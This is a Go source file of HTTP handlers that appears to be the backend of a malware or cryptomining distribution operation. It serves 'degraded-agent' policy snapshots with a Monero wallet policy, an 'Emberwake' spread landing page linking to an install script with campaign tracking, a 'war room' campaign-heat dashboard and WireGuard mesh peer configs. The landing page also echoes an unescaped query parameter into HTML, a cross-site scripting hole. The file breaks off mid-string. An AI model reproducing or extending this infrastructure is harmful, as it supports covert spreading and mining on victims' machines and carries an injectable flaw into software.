package handlers import ( "context" "database/sql" "encoding/json" "fmt" "net/http" "strings" "time" "forge-mesh/internal/api/types" "forge-mesh/internal/auth" "forge-mesh/internal/config" "forge-mesh/internal/erasure" "forge-mesh/internal/fleet" "forge-mesh/internal/policy" "github.com/google/uuid" ) // ErasureHandler serves public erasure shard endpoints. type ErasureHandler struct { Service *erasure.Service } func (h *ErasureHandler) GetBundle(w http.ResponseWriter, r *http.Request) { bundleID := r.PathValue("bundle_id") if bundleID == "" { http.Error(w, "bundle_id required", http.StatusBadRequest) return } bundle, err := h.Service.GetBundle(r.Context(), bundleID) if err != nil { if err == sql.ErrNoRows { http.Error(w, "not found", http.StatusNotFound) return } http.Error(w, "internal error", http.StatusInternalServerError) return } indices, _ := h.Service.ListShards(r.Context(), bundleID) auth.JSON(w, http.StatusOK, map[string]any{ "bundle": bundle, "shards": indices, }) } func (h *ErasureHandler) GetShard(w http.ResponseWriter, r *http.Request) { bundleID := r.PathValue("bundle_id") indexStr := r.PathValue("index") if bundleID == "" || indexStr == "" { http.Error(w, "bundle_id and index required", http.StatusBadRequest) return } var index int if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil { http.Error(w, "invalid shard index", http.StatusBadRequest) return } shard, err := h.Service.GetShard(r.Context(), bundleID, index) if err != nil { if err == sql.ErrNoRows { http.Error(w, "not found", http.StatusNotFound) return } http.Error(w, "internal error", http.StatusInternalServerError) return } auth.JSON(w, http.StatusOK, map[string]any{ "bundle_id": shard.BundleID, "shard_index": shard.ShardIndex, "hex": shard.Hex, }) } // PolicySnapshotHandler serves degraded-agent policy snapshots. type PolicySnapshotHandler struct { DB *sql.DB } // Create handles POST /api/v1/policy/snapshot (protected). func (h *PolicySnapshotHandler) Create(w http.ResponseWriter, r *http.Request) { policy := map[string]any{ "wallet_policy": map[string]string{"currency": "XMR"}, "policy_from_server": true, "version": "1", } raw, _ := json.Marshal(policy) token := uuid.NewString() if err := SeedPolicySnapshot(r.Context(), h.DB, token, string(raw)); err != nil { http.Error(w, "snapshot failed", http.StatusInternalServerError) return } auth.JSON(w, http.StatusOK, map[string]any{ "token": token, "url": "/api/v1/public/policy-snapshot/" + token, }) } func (h *PolicySnapshotHandler) Get(w http.ResponseWriter, r *http.Request) { token := r.PathValue("token") if token == "" { http.Error(w, "token required", http.StatusBadRequest) return } var policyJSON string var expires sql.NullString err := h.DB.QueryRowContext(r.Context(), ` SELECT policy_json, expires_at FROM policy_snapshots WHERE token = ?`, token). Scan(&policyJSON, &expires) if err != nil { if err == sql.ErrNoRows { http.Error(w, "not found", http.StatusNotFound) return } http.Error(w, "internal error", http.StatusInternalServerError) return } if expires.Valid && expires.String != "" { if t, err := time.Parse("2006-01-02 15:04:05", expires.String); err == nil && time.Now().After(t) { http.Error(w, "expired", http.StatusGone) return } } w.Header().Set("Content-Type", "application/json") w.WriteHeader(http.StatusOK) w.Write([]byte(policyJSON)) } // TrackCampaign handles GET /api/v1/public/campaign/track?c=CODE. func TrackCampaign(db *sql.DB) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { code := r.URL.Query().Get("c") if code == "" { http.Error(w, "c required", http.StatusBadRequest) return } trackCampaignHeat(r.Context(), db, code) auth.JSON(w, http.StatusOK, map[string]any{"code": code, "tracked": true}) } } // SpreadLander serves the Emberwake public funnel page with ?c= heat tracking. func SpreadLander(db *sql.DB) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { campaign := r.URL.Query().Get("c") if campaign != "" { trackCampaignHeat(r.Context(), db, campaign) } w.Header().Set("Content-Type", "text/html; charset=utf-8") install := "/install.sh" if campaign != "" { install += "?c=" + campaign } fmt.Fprintf(w, `
Campaign: %s
`, campaign, install) } } func trackCampaignHeat(ctx context.Context, db *sql.DB, code string) { if db == nil || code == "" { return } var id string err := db.QueryRowContext(ctx, `SELECT id FROM campaigns WHERE code = ?`, code).Scan(&id) if err == sql.ErrNoRows { _, _ = db.ExecContext(ctx, `INSERT INTO campaigns (id, code, name, heat) VALUES (?, ?, ?, 1)`, uuid.NewString(), code, code) return } if err == nil { _, _ = db.ExecContext(ctx, `UPDATE campaigns SET heat = heat + 1 WHERE id = ?`, id) } } // WarRoomHandler serves campaign heat dashboards. type WarRoomHandler struct { DB *sql.DB } func (h *WarRoomHandler) ListCampaigns(w http.ResponseWriter, r *http.Request) { rows, err := h.DB.QueryContext(r.Context(), ` SELECT id, code, name, COALESCE(pin,''), heat, created_at FROM campaigns ORDER BY heat DESC, created_at DESC LIMIT 100`) if err != nil { http.Error(w, "internal error", http.StatusInternalServerError) return } defer rows.Close() var campaigns []types.Campaign for rows.Next() { var c types.Campaign var created string if err := rows.Scan(&c.ID, &c.Code, &c.Name, &c.Pin, &c.Heat, &created); err != nil { http.Error(w, "internal error", http.StatusInternalServerError) return } c.CreatedAt, _ = time.Parse("2006-01-02 15:04:05", created) campaigns = append(campaigns, c) } if campaigns == nil { campaigns = []types.Campaign{} } auth.JSON(w, http.StatusOK, map[string]any{"campaigns": campaigns}) } // WireGuardHandler manages mesh peer records (operator-managed configs). type WireGuardHandler struct { DB *sql.DB } func (h *WireGuardHandler) ListPeers(w http.ResponseWriter, r *http.Request) { rows, err := h.DB.QueryContext(r.Context(), ` SELECT id, COALESCE(host_id,''), public_key, COALESCE(endpoint,''), allowed_ips, created_at FROM wireguard_peers ORDER BY created_at DESC LIMIT 100`) if err != nil { http.Error(w, "internal error", http.StatusInternalServerError) return } defer rows.Close() type peer struct { ID string `json:"id"` HostID string `json:"host_id,omitempty"` PublicKey string `json:"public_key"` Endpoint string `json:"endpoint,omitempty"` AllowedIPs string `json:"allowed_ips"` CreatedAt string `json:"created_at"` } var peers []peer for rows.Next() { var p peer if err := rows.Scan(&p.ID, &p.HostID, &p.PublicKey, &p.Endpoint, &p.AllowedIPs, &p.CreatedAt); err != nil { http.Error(w, "internal error", http.StatusInternalServerError) return } peers = append(peers, p) } if peers == nil { peers = []peer{} } auth.JSON(w, http.StatusOK, map[string]any{"peers": peers}) } func (h *WireGuardHandler) CreatePeer(w http.ResponseWriter, r *http.Request) { var req struct { HostID string `json:"host_id"` PublicKey string `json:"public_key"` Endpoint string `json:"endpoint"` AllowedIPs string `json:"allowed_ips"` } if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "bad request", http.StatusBadRequest) return } if req.PublicKey == "" { http.Error(w, "public_key required", http.StatusBadRequest) return } if req.AllowedIPs == "" { req.AllowedIPs = "10.66.66.2/32" } id := uuid.NewString() _, err := h.DB.ExecContext(r.Context(), ` INSERT INTO wireguard_peers (id, host_id, public_key, endpoint, allowed_ips) VALUES (?, ?, ?, ?, ?)`, id, nullIfEmpty(req.HostID), req.PublicKey, nullIfEmpty(req.Endpoint), req.AllowedIPs) if err != nil { http.Error(w, "create failed", http.StatusInternalServerError) return } auth.JSON(w, http.StatusCreated, map[string]any{ "id": id, "host_id": req.HostID, "public_key": req.PublicKey, "endpoint": req.Endpoint, "allowed_ips": req.AllowedIPs, }) } // RenderConfig handles GET /api/v1/wireguard/config — wg-quick template for operators. func (h *WireGuardHandler) RenderConfig(w http.ResponseWriter, r *http.Request) { rows, err := h.DB.QueryContext(r.Context(), ` SELECT public_key, COALESCE(endpoint,''), allowed_ips FROM wireguard_peers ORDER BY created_at`) if err != nil { http.Error(w, "internal error", http.StatusInternalServerError) return } defer rows.Close() var buf strings.Builder buf.WriteString("[Interface]\nPrivateKey =